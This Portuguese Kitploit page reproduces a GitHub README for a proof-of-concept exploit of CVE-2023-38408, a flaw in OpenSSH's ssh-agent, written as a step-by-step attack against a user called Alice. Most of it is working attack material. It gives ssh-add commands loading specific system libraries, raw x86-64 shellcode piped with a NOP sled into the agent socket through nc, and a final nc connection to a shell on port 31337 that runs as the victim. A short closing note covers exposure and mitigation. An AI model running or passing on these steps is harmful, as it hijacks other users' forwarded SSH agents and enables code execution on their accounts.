Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-38408 — Conta de aquisição OpenSSH | Kitploit
Ferramentas/GitHubGitHub/lucaspdiniz/cve-2023-38408
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

Conta de aquisição OpenSSH

Ver Repositório
4568há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade OpenSSH - CVE-2023-38408 📚

Introdução

Uma vulnerabilidade foi encontrada no OpenSSH (versões anteriores a 9.3p2). O recurso PKCS#11 no ssh-agent do OpenSSH possui um caminho de busca insuficientemente confiável, levando à execução remota de código se um agente for encaminhado para um sistema controlado pelo atacante (o código em /usr/lib não é necessariamente seguro para carregamento no ssh-agent). Esta falha permite que um atacante com controle do socket do agente encaminhado no servidor e capacidade de escrever no sistema de arquivos do host cliente execute código arbitrário com os privilégios do usuário que executa o ssh-agent.

No exemplo abaixo, podemos observar brevemente as etapas desde a exploração até o comprometimento do usuário alice.

  • Passo 1 - O usuário Atacante conecta-se via SSH ao servidor.
  • Passo 2 - A usuária Alice também está conectada via ssh no servidor.
  • Passo 3 - O atacante cria um shellcode para enviar via processo ssh ao servidor alvo.
  • Passo 4 - O shellcode enviado pelo atacante explora a vulnerabilidade PKCS#11 do ssh-agent e cria um novo processo sequestrando o acesso ssh da usuária Alice.
  • Passo 5 - Ainda através do acesso normal do atacante, é possível executar comandos operacionais como a usuária Alice, acessando o exploit criado no shellcode via nc localhost 31337.

Como fazer? Vamos criar o POC

Conforme mencionado anteriormente, neste POC usaremos 2 usuários conectados a um servidor via SSH. Para seguir os passos abaixo, assumimos que os 2 usuários já possuem acesso ao servidor (SSH).

  1. Obtenha o PID do agente SSH em execução na máquina atacante remota e exporte para uma variável de ambiente. Também adicionamos via ssh-add o arquivo linuxx64.elf.stub (UEFI boot stub)
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. Agora, para copiar o shellcode no processo usando SSH, você precisa seguir estes passos ainda na máquina atacante;
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Finalmente, pressione Ctrl-C para parar a transferência do netcat assim que o shellcode for colocado com sucesso na memória do agente.

  1. Neste passo, vamos carregar 3 arquivos via ssh-add; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 e libns3.35-wave.so.0.0.0. O próximo passo no processo de exploração é registrar o manipulador de sinal para o sinal de Falha de Segmentação (SIGSEGV).

[!NOTE] Acionando SIGSEGV 💬
SIGSEGV é um sinal conhecido emitido a um processo de computador quando ocorre uma referência de memória inválida (falha de segmentação). Ao receber o sinal SIGSEGV, o kernel reconhece que ocorreu um acesso inválido à memória e procede para invocar o manipulador de sinal personalizado em vez de encerrar o programa abruptamente. Ao fazer isso, o atacante aproveita a oportunidade para manipular a execução do programa e direcioná-la para o código malicioso injetado localizado dentro do NOP sled.

ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. Neste ponto, já conseguimos explorar a usuária Alice através do acesso ssh do atacante ao servidor, executando o comando abaixo criado pelo shellcode. 🔥
nc localhost 31337

A CVE-2023-38408 me afeta? ❓

A vulnerabilidade afeta principalmente sistemas onde o ssh-agent do OpenSSH está em uso e o recurso de encaminhamento do agente está habilitado. Organizações e indivíduos que dependem do OpenSSH devem avaliar rapidamente suas configurações para determinar a exposição potencial. Se o seu sistema atender às condições mencionadas, é crucial tomar medidas imediatas para mitigar o risco associado à CVE-2023-38408.

Baixar ferramenta